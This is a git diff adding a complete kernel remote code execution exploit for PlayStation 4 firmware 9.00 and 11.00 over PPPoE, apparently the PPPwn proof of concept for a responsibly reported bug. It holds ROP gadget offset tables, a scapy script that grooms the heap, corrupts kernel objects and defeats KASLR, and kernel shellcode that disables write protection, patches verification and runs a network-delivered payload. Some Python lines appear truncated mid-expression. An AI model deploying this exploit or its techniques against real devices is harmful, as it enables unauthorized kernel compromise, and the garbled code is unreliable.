diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..900db580 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +__pycache__/ +*.o +*.elf +*.bin diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 00000000..1462efd9 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "freebsd-headers"] + path = freebsd-headers + url = https://github.com/OpenOrbis/freebsd-headers diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..b9bd0dec --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (C) 2024 Andy Nguyen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 00000000..15993c14 --- /dev/null +++ b/README.md @@ -0,0 +1,147 @@ +# PPPwn - PlayStation 4 PPPoE RCE +PPPwn is a kernel remote code execution exploit for PlayStation 4 upto FW 11.00. This is a proof-of-concept exploit for [CVE-2006-4304](https://hackerone.com/reports/2177925) that was reported responsibly to PlayStation. + +Supported versions are: +- FW 9.00 +- FW 11.00 +- more can be added (PRs are welcome) + +The exploit only prints `PPPwned` on your PS4 as a proof-of-concept. In order to launch Mira or similar homebrew enablers, the `stage2.bin` payload needs to be adapted. + +## Requirements +- Computer with Ethernet port + - USB adapter also works +- Ethernet cable +- Linux + - You can use VirtualBox to create a Linux VM with `Bridged Adapter` as network adapter to use the ethernet port in the VM. +- Python3 and gcc installed + +## Usage + +On your computer, clone the repository: + +```sh +git clone --recursive https://github.com/TheOfficialFloW/PPPwn +``` + +Install the requirements: + +```sh +sudo pip install -r requirements.txt +``` + +Compile the payloads: + +```sh +make -C stage1 FW=1100 clean && make -C stage1 FW=1100 +make -C stage2 FW=1100 clean && make -C stage2 FW=1100 +``` + +For other firmwares, e.g. FW 9.00, pass `FW=900`. + +Run the exploit (see `ifconfig` for the correct interface): + +```sh +sudo python3 pppwn.py --interface=enp0s3 --fw=1100 +``` + +For other firmwares, e.g. FW 9.00, pass `--fw=900`. + +On your PS4: + +- Go to `Settings` and then `Network` +- Select `Set Up Internet connection` and choose `Use a LAN Cable` +- Choose `Custom` setup and choose `PPPoE` for `IP Address Settings` +- Enter anything for `PPPoE User ID` and `PPPoE Pasword` +- Choose `Automatic` for `DNS Settings` and `MTU Settings` +- Choose `Do Not Use` for `Proxy Server` +- Click `Test Internet Connection` to communicate with your computer + +If the exploit fails or the PS4 crashes, you can skip the internet setup and simply click on `Test Internet Connection`. If the `pppwn.py` script is stuck waiting for a request/response, abort it and run it again on your computer, and then click on `Test Internet Connection` on your PS4. + +If the exploit works, you should see an output similar to below, and you should see `Cannot connect to network.` followed by `PPPwned` printed on your PS4. + +### Example run + +```sh +[+] PPPwn - PlayStation 4 PPPoE RCE by theflow +[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin + +[+] STAGE 0: Initialization +[*] Waiting for PADI... +[+] pppoe_softc: 0xffffabd634beba00 +[+] Target MAC: xx:xx:xx:xx:xx:xx +[+] Source MAC: 07:ba:be:34:d6:ab +[+] AC cookie length: 0x4e0 +[*] Sending PADO... +[*] Waiting for PADR... +[*] Sending PADS... +[*] Waiting for LCP configure request... +[*] Sending LCP configure ACK... +[*] Sending LCP configure request... +[*] Waiting for LCP configure ACK... +[*] Waiting for IPCP configure request... +[*] Sending IPCP configure NAK... +[*] Waiting for IPCP configure request... +[*] Sending IPCP configure ACK... +[*] Sending IPCP configure request... +[*] Waiting for IPCP configure ACK... +[*] Waiting for interface to be ready... +[+] Target IPv6: fe80::2d9:d1ff:febc:83e4 +[+] Heap grooming...done + +[+] STAGE 1: Memory corruption +[+] Pinning to CPU 0...done +[*] Sending malicious LCP configure request... +[*] Waiting for LCP configure request... +[*] Sending LCP configure ACK... +[*] Sending LCP configure request... +[*] Waiting for LCP configure ACK... +[*] Waiting for IPCP configure request... +[*] Sending IPCP configure NAK... +[*] Waiting for IPCP configure request... +[*] Sending IPCP configure ACK... +[*] Sending IPCP configure request... +[*] Waiting for IPCP configure ACK... +[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141 + +[+] STAGE 2: KASLR defeat +[*] Defeating KASLR... +[+] pppoe_softc_list: 0xffffffff884de578 +[+] kaslr_offset: 0x3ffc000 + +[+] STAGE 3: Remote code execution +[*] Sending LCP terminate request... +[*] Waiting for PADI... +[+] pppoe_softc: 0xffffabd634beba00 +[+] Target MAC: xx:xx:xx:xx:xx:xx +[+] Source MAC: 97:df:ea:86:ff:ff +[+] AC cookie length: 0x511 +[*] Sending PADO... +[*] Waiting for PADR... +[*] Sending PADS... +[*] Triggering code execution... +[*] Waiting for stage1 to resume... +[*] Sending PADT... +[*] Waiting for PADI... +[+] pppoe_softc: 0xffffabd634be9200 +[+] Target MAC: xx:xx:xx:xx:xx:xx +[+] AC cookie length: 0x0 +[*] Sending PADO... +[*] Waiting for PADR... +[*] Sending PADS... +[*] Waiting for LCP configure request... +[*] Sending LCP configure ACK... +[*] Sending LCP configure request... +[*] Waiting for LCP configure ACK... +[*] Waiting for IPCP configure request... +[*] Sending IPCP configure NAK... +[*] Waiting for IPCP configure request... +[*] Sending IPCP configure ACK... +[*] Sending IPCP configure request... +[*] Waiting for IPCP configure ACK... + +[+] STAGE 4: Arbitrary payload execution +[*] Sending stage2 payload... +[+] Done! +``` \ No newline at end of file diff --git a/freebsd-headers b/freebsd-headers new file mode 160000 index 00000000..ad8cef95 --- /dev/null +++ b/freebsd-headers @@ -0,0 +1 @@ +Subproject commit ad8cef9530ec4d7d603be0d5736c732455865345 diff --git a/offsets.py b/offsets.py new file mode 100644 index 00000000..2f999d31 --- /dev/null +++ b/offsets.py @@ -0,0 +1,192 @@ +# Copyright (C) 2024 Andy Nguyen +# +# This software may be modified and distributed under the terms +# of the MIT license. See the LICENSE file for details. + + +# FW 9.00 +class OffsetsFirmware_900: + PPPOE_SOFTC_LIST = 0xffffffff843ed9f8 + + KERNEL_MAP = 0xffffffff84468d48 + + SETIDT = 0xffffffff82512c40 + + KMEM_ALLOC = 0xffffffff8257be70 + KMEM_ALLOC_PATCH1 = 0xffffffff8257bf3c + KMEM_ALLOC_PATCH2 = 0xffffffff8257bf44 + + MEMCPY = 0xffffffff824714b0 + + MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823fb949 + + SECOND_GADGET_OFF = 0x3d + + # 0xffffffff82996603 : jmp qword ptr [rsi + 0x3d] + FIRST_GADGET = 0xffffffff82996603 + + # 0xffffffff82c76646 : push rbp ; jmp qword ptr [rsi] + PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c76646 + + # 0xffffffff822b4151 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] + POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822b4151 + + # 0xffffffff82941e46 : lea rsp, [rsi + 0x20] ; repz ret + LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82941e46 + + # 0xffffffff826c52aa : add rsp, 0x28 ; pop rbp ; ret + ADD_RSP_28_POP_RBP_RET = 0xffffffff826c52aa + + # 0xffffffff8251b08f : add rsp, 0xb0 ; pop rbp ; ret + ADD_RSP_B0_POP_RBP_RET = 0xffffffff8251b08f + + # 0xffffffff822008e0 : ret + RET = 0xffffffff822008e0 + + # 0xffffffff822391a8 : pop rdi ; ret + POP_RDI_RET = 0xffffffff822391a8 + + # 0xffffffff822aad39 : pop rsi ; ret + POP_RSI_RET = 0xffffffff822aad39 + + # 0xffffffff82322eba : pop rdx ; ret + POP_RDX_RET = 0xffffffff82322eba + + # 0xffffffff822445e7 : pop rcx ; ret + POP_RCX_RET = 0xffffffff822445e7 + + # 0xffffffff822ab4dd : pop r8 ; pop rbp ; ret + POP_R8_POP_RBP_RET = 0xffffffff822ab4dd + + # 0xffffffff8279fa0f : pop r12 ; ret + POP_R12_RET = 0xffffffff8279fa0f + + # 0xffffffff82234ec8 : pop rax ; ret + POP_RAX_RET = 0xffffffff82234ec8 + + # 0xffffffff822008df : pop rbp ; ret + POP_RBP_RET = 0xffffffff822008df + + # 0xffffffff82bb687a : push rsp ; pop rsi ; ret + PUSH_RSP_POP_RSI_RET = 0xffffffff82bb687a + + # 0xffffffff82244ed0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax + MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82244ed0 + + # 0xffffffff82b7450e : mov byte ptr [rcx], al ; ret + MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b7450e + + # 0xffffffff82632b9c : mov rdi, rbx ; call r12 + MOV_RDI_RBX_CALL_R12 = 0xffffffff82632b9c + + # 0xffffffff8235b387 : mov rdi, r14 ; call r12 + MOV_RDI_R14_CALL_R12 = 0xffffffff8235b387 + + # 0xffffffff822e3d7e : mov rsi, rbx ; call rax + MOV_RSI_RBX_CALL_RAX = 0xffffffff822e3d7e + + # 0xffffffff82363918 : mov r14, rax ; call r8 + MOV_R14_RAX_CALL_R8 = 0xffffffff82363918 + + # 0xffffffff82cb683a : add rdi, rcx ; ret + ADD_RDI_RCX_RET = 0xffffffff82cb683a + + # 0xffffffff82409557 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret + SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82409557 + + # 0xffffffff82b85693 : jmp r14 + JMP_R14 = 0xffffffff82b85693 + + +# FW 11.00 +class OffsetsFirmware_1100: + PPPOE_SOFTC_LIST = 0xffffffff844e2578 + + KERNEL_MAP = 0xffffffff843ff130 + + SETIDT = 0xffffffff8245bdb0 + + KMEM_ALLOC = 0xffffffff82445e10 + KMEM_ALLOC_PATCH1 = 0xffffffff82445edc + KMEM_ALLOC_PATCH2 = 0xffffffff82445ee4 + + MEMCPY = 0xffffffff824dddf0 + + MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff824f1299 + + SECOND_GADGET_OFF = 0x3e + + # 0xffffffff82eb1f97 : jmp qword ptr [rsi + 0x3e] + FIRST_GADGET = 0xffffffff82eb1f97 + + # 0xffffffff82c75166 : push rbp ; jmp qword ptr [rsi] + PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c75166 + + # 0xffffffff824b90e1 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] + POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff824b90e1 + + # 0xffffffff8293c8c6 : lea rsp, [rsi + 0x20] ; repz ret + LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8293c8c6 + + # 0xffffffff826cb2da : add rsp, 0x28 ; pop rbp ; ret + ADD_RSP_28_POP_RBP_RET = 0xffffffff826cb2da + + # 0xffffffff824cdd5f : add rsp, 0xb0 ; pop rbp ; ret + ADD_RSP_B0_POP_RBP_RET = 0xffffffff824cdd5f + + # 0xffffffff822007e4 : ret + RET = 0xffffffff822007e4 + + # 0xffffffff825f38ed : pop rdi ; ret + POP_RDI_RET = 0xffffffff825f38ed + + # 0xffffffff8224a6a9 : pop rsi ; ret + POP_RSI_RET = 0xffffffff8224a6a9 + + # 0xffffffff822a4762 : pop rdx ; ret + POP_RDX_RET = 0xffffffff822a4762 + + # 0xffffffff8221170a : pop rcx ; ret + POP_RCX_RET = 0xffffffff8221170a + + # 0xffffffff8224ae4d : pop r8 ; pop rbp ; ret + POP_R8_POP_RBP_RET = 0xffffffff8224ae4d + + # 0xffffffff8279faaf : pop r12 ; ret + POP_R12_RET = 0xffffffff8279faaf + + # 0xffffffff8221172e : pop rax ; ret + POP_RAX_RET = 0xffffffff8221172e + + # 0xffffffff822008df : pop rbp ; ret + POP_RBP_RET = 0xffffffff822008df + + # 0xffffffff82bb5c7a : push rsp ; pop rsi ; ret + PUSH_RSP_POP_RSI_RET = 0xffffffff82bb5c7a + + # 0xffffffff823ce260 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax + MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff823ce260 + + # 0xffffffff8236ae58 : mov byte ptr [rcx], al ; ret + MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff8236ae58 + + # 0xffffffff8233426c : mov rdi, rbx ; call r12 + MOV_RDI_RBX_CALL_R12 = 0xffffffff8233426c + + # 0xffffffff823340a7 : mov rdi, r14 ; call r12 + MOV_RDI_R14_CALL_R12 = 0xffffffff823340a7 + + # 0xffffffff82512dce : mov rsi, rbx ; call rax + MOV_RSI_RBX_CALL_RAX = 0xffffffff82512dce + + # 0xffffffff82624df8 : mov r14, rax ; call r8 + MOV_R14_RAX_CALL_R8 = 0xffffffff82624df8 + + # 0xffffffff82cb535a : add rdi, rcx ; ret + ADD_RDI_RCX_RET = 0xffffffff82cb535a + + # 0xffffffff8260f297 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret + SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8260f297 + + # 0xffffffff82b84657 : jmp r14 + JMP_R14 = 0xffffffff82b84657 diff --git a/pppwn.py b/pppwn.py new file mode 100644 index 00000000..802f4691 --- /dev/null +++ b/pppwn.py @@ -0,0 +1,841 @@ +#!/usr/bin/env python3 +# +# Copyright (C) 2024 Andy Nguyen +# +# This software may be modified and distributed under the terms +# of the MIT license. See the LICENSE file for details. + +from argparse import ArgumentParser +from scapy.all import * +from scapy.layers.ppp import * +from struct import pack, unpack +from sys import exit +from time import sleep +from offsets import * + +# PPPoE constants + +PPPOE_TAG_HUNIQUE = 0x0103 +PPPOE_TAG_ACOOKIE = 0x0104 + +PPPOE_CODE_PADI = 0x09 +PPPOE_CODE_PADO = 0x07 +PPPOE_CODE_PADR = 0x19 +PPPOE_CODE_PADS = 0x65 +PPPOE_CODE_PADT = 0xa7 + +ETHERTYPE_PPPOEDISC = 0x8863 +ETHERTYPE_PPPOE = 0x8864 + +CONF_REQ = 1 +CONF_ACK = 2 +CONF_NAK = 3 +CONF_REJ = 4 +ECHO_REQ = 9 +ECHO_REPLY = 10 + +# FreeBSD constants + +NULL = 0 + +PAGE_SIZE = 0x4000 + +IDT_UD = 6 +SDT_SYSIGT = 14 +SEL_KPL = 0 + +CR0_PE = 0x00000001 +CR0_MP = 0x00000002 +CR0_EM = 0x00000004 +CR0_TS = 0x00000008 +CR0_ET = 0x00000010 +CR0_NE = 0x00000020 +CR0_WP = 0x00010000 +CR0_AM = 0x00040000 +CR0_NW = 0x20000000 +CR0_CD = 0x40000000 +CR0_PG = 0x80000000 + +CR0_ORI = CR0_PG | CR0_AM | CR0_WP | CR0_NE | CR0_ET | CR0_TS | CR0_MP | CR0_PE + +VM_PROT_READ = 0x01 +VM_PROT_WRITE = 0x02 +VM_PROT_EXECUTE = 0x04 + +VM_PROT_ALL = (VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE) + +LLE_STATIC = 0x0002 +LLE_LINKED = 0x0040 +LLE_EXCLUSIVE = 0x2000 + +LO_INITIALIZED = 0x00010000 +LO_WITNESS = 0x00020000 +LO_UPGRADABLE = 0x00200000 +LO_DUPOK = 0x00400000 + +LO_CLASSSHIFT = 24 + +RW_UNLOCKED = 1 +MTX_UNOWNED = 4 + +RW_INIT_FLAGS = ((4 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS | + LO_UPGRADABLE) +MTX_INIT_FLAGS = ((1 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS) + +CALLOUT_RETURNUNLOCKED = 0x10 + +AF_INET6 = 28 + +IFT_ETHER = 0x6 + +ND6_LLINFO_NOSTATE = 0xfffe + +# FreeBSD offsets + +TARGET_SIZE = 0x100 + +PPPOE_SOFTC_SC_DEST = 0x24 +PPPOE_SOFTC_SC_AC_COOKIE = 0x40 +PPPOE_SOFTC_SIZE = 0x1c8 + +LLTABLE_LLTIFP = 0x110 +LLTABLE_LLTFREE = 0x118 + +SOCKADDR_IN6_SIZE = 0x1c + + +def p8(val): + return pack('H', val & 0xffff) + + +def p32(val): + return pack('I', val & 0xffffffff) + + +def p64(val): + return pack('Q', val & 0xffffffffffffffff) + + +class LcpEchoHandler(AsyncSniffer): + + def __init__(self, iface): + self.s = conf.L2socket(iface=iface) + super().__init__(opened_socket=self.s, + prn=self.handler, + filter='pppoes && !ip', + lfilter=lambda pkt: pkt.haslayer(PPP_LCP_Echo)) + + def handler(self, pkt): + self.s.send( + Ether(src=pkt[Ether].dst, dst=pkt[Ether].src, type=ETHERTYPE_PPPOE) + / PPPoE(sessionid=pkt[PPPoE].sessionid) / PPP() / + PPP_LCP_Echo(code=ECHO_REPLY, id=pkt[PPP_LCP_Echo].id)) + + +class Exploit(): + SPRAY_NUM = 0x1000 + PIN_NUM = 0x1000 + CORRUPT_NUM = 0x3 + + HOLE_START = 0x800 + HOLE_SPACE = 0x4 + + LCP_ID = 0x41 + IPCP_ID = 0x41 + + SESSION_ID = 0xffff + + STAGE2_PORT = 9020 + + SOURCE_MAC = '41:41:41:41:41:41' + SOURCE_IPV4 = '41.41.41.41' + SOURCE_IPV6 = 'fe80::4141:4141:4141:4141' + + TARGET_IPV4 = '42.42.42.42' + + BPF_FILTER = '(ip6) || (pppoed) || (pppoes && !ip)' + + def __init__(self, offs, iface, stage1, stage2): + self.offs = offs + self.iface = iface + self.stage1 = stage1 + self.stage2 = stage2 + self.s = conf.L2socket(iface=self.iface, filter=self.BPF_FILTER) + + def kdlsym(self, addr): + return self.kaslr_offset + addr + + def lcp_negotiation(self): + print('[*] Waiting for LCP configure request...') + while True: + pkt = self.s.recv() + if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[ + PPP_LCP_Configure].code == CONF_REQ: + break + + print('[*] Sending LCP configure ACK...') + self.s.send( + Ether(src=self.source_mac, + dst=self.target_mac, + type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / + PPP() / PPP_LCP(code=CONF_ACK, id=pkt[PPP_LCP_Configure].id)) + + print('[*] Sending LCP configure request...') + self.s.send( + Ether(src=self.source_mac, + dst=self.target_mac, + type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / + PPP() / PPP_LCP(code=CONF_REQ, id=self.LCP_ID)) + + print('[*] Waiting for LCP configure ACK...') + while True: + pkt = self.s.recv() + if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[ + PPP_LCP_Configure].code == CONF_ACK: + break + + def ipcp_negotiation(self): + print('[*] Waiting for IPCP configure request...') + while True: + pkt = self.s.recv() + if pkt and pkt.haslayer( + PPP_IPCP) and pkt[PPP_IPCP].code == CONF_REQ: + break + + print('[*] Sending IPCP configure NAK...') + self.s.send( + Ether( + src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE) + / PPPoE(sessionid=self.SESSION_ID) / PPP() / + PPP_IPCP(code=CONF_NAK, + id=pkt[PPP_IPCP].id, + options=PPP_IPCP_Option_IPAddress(data=self.TARGET_IPV4))) + + print('[*] Waiting for IPCP configure request...') + while True: + pkt = self.s.recv() + if pkt and pkt.haslayer( + PPP_IPCP) and pkt[PPP_IPCP].code == CONF_REQ: + break + + print('[*] Sending IPCP configure ACK...') + self.s.send( + Ether(src=self.source_mac, + dst=self.target_mac, + type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / + PPP() / PPP_IPCP(code=CONF_ACK, + id=pkt[PPP_IPCP].id, + options=pkt[PPP_IPCP].options)) + + print('[*] Sending IPCP configure request...') + self.s.send( + Ether( + src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE) + / PPPoE(sessionid=self.SESSION_ID) / PPP() / + PPP_IPCP(code=CONF_REQ, + id=self.IPCP_ID, + options=PPP_IPCP_Option_IPAddress(data=self.SOURCE_IPV4))) + + print('[*] Waiting for IPCP configure ACK...') + while True: + pkt = self.s.recv() + if pkt and pkt.haslayer( + PPP_IPCP) and pkt[PPP_IPCP].code == CONF_ACK: + break + + def ppp_negotation(self, cb=None): + print('[*] Waiting for PADI...') + while True: + pkt = self.s.recv() + if pkt and pkt.haslayer( + PPPoED) and pkt[PPPoED].code == PPPOE_CODE_PADI: + break + + for tag in pkt[PPPoED][PPPoED_Tags].tag_list: + if tag.tag_type == PPPOE_TAG_HUNIQUE: + host_uniq = tag.tag_value + + self.pppoe_softc = unpack('= self.HOLE_START and i % self.HOLE_SPACE == 0: + continue + + self.s.send( + Ether(src=self.source_mac, dst=self.target_mac) / + IPv6(src=source_ipv6, dst=self.target_ipv6) / + ICMPv6ND_NA(tgt=source_ipv6, S=1) / + ICMPv6NDOptDstLLAddr(lladdr=self.source_mac)) + + print('[+] Heap grooming...done') + + print('') + print('[+] STAGE 1: Memory corruption') + + # Use an invalid proto enum to trigger a printf in the kernel. For + # some reason, this causes scheduling on CPU 0 at some point, which + # makes the next allocation use the same per-CPU cache. + for i in range(self.PIN_NUM): + if i % 0x100 == 0: + print('[*] Pinning to CPU 0...{}%'.format(100 * i // + self.PIN_NUM), + end='\r', + flush=True) + + self.s.send( + Ether(src=self.source_mac, + dst=self.target_mac, + type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / + PPP(proto=0x4141)) + sleep(0.001) + + print('[+] Pinning to CPU 0...done') + + # LCP fails sometimes without the wait + sleep(1) + + # Corrupt in6_llentry object + overflow_lle = self.build_overflow_lle() + print('[*] Sending malicious LCP configure request...') + for i in range(self.CORRUPT_NUM): + self.s.send( + Ether(src=self.source_mac, + dst=self.target_mac, + type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / + PPP() / PPP_LCP(code=CONF_REQ, + id=self.LCP_ID, + len=TARGET_SIZE + 4, + data=(PPP_LCP_Option(data=b'A' * + (TARGET_SIZE - 4)) / + PPP_LCP_Option(data=overflow_lle)))) + + # Re-negotiate after rejection + self.lcp_negotiation() + self.ipcp_negotiation() + + corrupted = False + for i in reversed(range(self.SPRAY_NUM)): + if i % 0x100 == 0: + print('[*] Scanning for corrupted object...{}'.format(hex(i)), + end='\r', + flush=True) + + if i >= self.HOLE_START and i % self.HOLE_SPACE == 0: + continue + + source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i) + + self.s.send( + Ether(src=self.source_mac, dst=self.target_mac) / + IPv6(src=source_ipv6, dst=self.target_ipv6) / + ICMPv6EchoRequest()) + + while True: + pkt = self.s.recv() + if pkt: + if pkt.haslayer(ICMPv6EchoReply): + break + elif pkt.haslayer(ICMPv6ND_NS): + corrupted = True + break + + if corrupted: + break + + self.s.send( + Ether(src=self.source_mac, dst=self.target_mac) / + IPv6(src=source_ipv6, dst=self.target_ipv6) / + ICMPv6ND_NA(tgt=source_ipv6, S=1) / + ICMPv6NDOptDstLLAddr(lladdr=self.source_mac)) + + if not corrupted: + print('[-] Error could not corrupt any object') + exit(1) + + print( + '[+] Scanning for corrupted object...found {}'.format(source_ipv6)) + + print('') + print('[+] STAGE 2: KASLR defeat') + + print('[*] Defeating KASLR...') + while True: + pkt = self.s.recv() + if pkt and pkt.haslayer( + ICMPv6NDOptSrcLLAddr) and pkt[ICMPv6NDOptSrcLLAddr].len > 1: + break + + self.pppoe_softc_list = unpack(' +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "offsets.h" +// clang-format on + +#define STAGE2_PORT 9020 +#define STAGE2_SIZE 0x4000 + +#define IFS6_OUT_MSG 0x88 +#define IFS6_OUT_NEIGHBORSOLICIT 0xe0 + +#define CC_CALLWHEEL 0x40 + +#define CALLOUT_CPU_SIZE 0x80 + +struct llentry { + LIST_ENTRY(llentry) lle_next; + struct rwlock lle_lock; + struct lltable *lle_tbl; +}; + +LIST_HEAD(llentries, llentry); + +static inline uint64_t rdmsr(u_int msr) { + uint32_t low, high; + asm volatile("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); + return (low | ((uint64_t)high << 32)); +} + +static inline void load_cr0(u_long data) { + asm volatile("movq %0, %%cr0" ::"r"(data)); +} + +static inline u_long rcr0(void) { + u_long data; + asm volatile("movq %%cr0, %0" : "=r"(data)); + return data; +} + +static inline void enable_intr(void) { asm volatile("sti"); } +static inline void disable_intr(void) { asm volatile("cli" ::: "memory"); } + +static void stage2_proc(void *arg) { + uint64_t kaslr_offset = (uint64_t)arg; + + void (*kproc_exit)(int) = (void *)kdlsym(kproc_exit); + + void **kernel_map = (void **)kdlsym(kernel_map); + void *(*kmem_alloc)(void *, uint64_t) = (void *)kdlsym(kmem_alloc); + + int (*ksock_create)(void **so, int domain, int type, int protocol) = + (void *)kdlsym(ksock_create); + int (*ksock_close)(void *so) = (void *)kdlsym(ksock_close); + int (*ksock_bind)(void *so, struct sockaddr *addr) = + (void *)kdlsym(ksock_bind); + int (*ksock_recv)(void *so, void *buf, size_t *len) = + (void *)kdlsym(ksock_recv); + + void *so; + ksock_create(&so, AF_INET, SOCK_DGRAM, 0); + + struct sockaddr_in sin = {}; + sin.sin_len = sizeof(sin); + sin.sin_family = AF_INET; + sin.sin_port = __builtin_bswap16(STAGE2_PORT); + sin.sin_addr.s_addr = __builtin_bswap32(INADDR_ANY); + ksock_bind(so, (struct sockaddr *)&sin); + + void *stage2 = kmem_alloc(*kernel_map, STAGE2_SIZE); + size_t size = STAGE2_SIZE; + ksock_recv(so, stage2, &size); + + ksock_close(so); + + void (*entry)(void) = (void *)stage2; + entry(); + + kproc_exit(0); +} + +void stage1(void) { + uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; + + void (*setidt)(int idx, void *func, int typ, int dpl, int ist) = + (void *)kdlsym(setidt); + int (*kproc_create)(void (*)(void *), void *, void **, int flags, int pages, + const char *, ...) = (void *)kdlsym(kproc_create); + + // Disable write protection + uint64_t cr0 = rcr0(); + load_cr0(cr0 & ~CR0_WP); + + // Enable UART + *(uint8_t *)kdlsym(uart_patch) = 0; + + // Disable veri + *(uint16_t *)kdlsym(veri_patch) = 0x9090; + + // Restore write protection + load_cr0(cr0); + + // Restore UD handler + setidt(IDT_UD, (void *)kdlsym(Xill), SDT_SYSIGT, SEL_KPL, 0); + + // Fix corruption done by nd6_ns_output + uintptr_t pppoe_softc_list = (uintptr_t)kdlsym(pppoe_softc_list); + (*(uint64_t *)(pppoe_softc_list + IFS6_OUT_MSG)) -= 2; + (*(uint64_t *)(pppoe_softc_list + IFS6_OUT_NEIGHBORSOLICIT)) -= 2; + + // Fix corrupted in6_llentry object + int callwheelsize = *(int *)kdlsym(callwheelsize); + for (int i = 0; i < MAXCPU; i++) { + uintptr_t cc = kdlsym(cc_cpu) + i * CALLOUT_CPU_SIZE; + + struct callout_tailq *cc_callwheel = + *(struct callout_tailq **)(cc + CC_CALLWHEEL); + if (!cc_callwheel) continue; + + for (int j = 0; j < callwheelsize; j++) { + struct callout_tailq *sc = &cc_callwheel[j]; + struct callout *c; + TAILQ_FOREACH(c, sc, c_links.tqe) { + if (c->c_func == (void *)kdlsym(nd6_llinfo_timer)) { + struct llentry *lle = (struct llentry *)c->c_arg; + struct llentry *lle_next = (struct llentry *)lle->lle_next.le_next; + struct llentry *lle_prev = (struct llentry *)lle->lle_next.le_prev; + + // Fix le_prev and lle_tbl + if (lle_next && lle_next->lle_next.le_prev != (void *)lle) { + lle_next->lle_next.le_prev = (void *)lle; + lle_next->lle_tbl = lle->lle_tbl; + } + + // Fix le_next and lle_tbl + if (lle_prev && lle_prev->lle_next.le_next != (void *)lle) { + lle_prev->lle_next.le_next = (void *)lle; + lle_next->lle_tbl = lle->lle_tbl; + } + } + } + } + } + + // Start stage2 process + enable_intr(); + kproc_create(stage2_proc, (void *)kaslr_offset, NULL, 0, 0, "stage2"); + disable_intr(); +} diff --git a/stage1/start.S b/stage1/start.S new file mode 100644 index 00000000..771fcc9d --- /dev/null +++ b/stage1/start.S @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +.intel_syntax noprefix + +#define SOFTCLOCK_STACK_SIZE 0x88 +#define ND6_LLINFO_TIMER_STACK_SIZE 0x38 + +.section .text +.global _start +_start: + call stage1 + + # Restore rsp + mov rsp, rbx + sub rsp, (SOFTCLOCK_STACK_SIZE + ND6_LLINFO_TIMER_STACK_SIZE) + + # nd6_llinfo_timer epiloque + add rsp, 8 + pop rbx + pop r12 + pop r13 + pop r14 + pop r15 + pop rbp + ret diff --git a/stage2/Makefile b/stage2/Makefile new file mode 100644 index 00000000..9e245e8f --- /dev/null +++ b/stage2/Makefile @@ -0,0 +1,24 @@ +TARGET = stage2 +OBJS = start.o stage2.o + +CC = gcc +OBJCOPY = objcopy +CFLAGS = -DSMP -isystem ../freebsd-headers/include -Wl,--build-id=none -Os 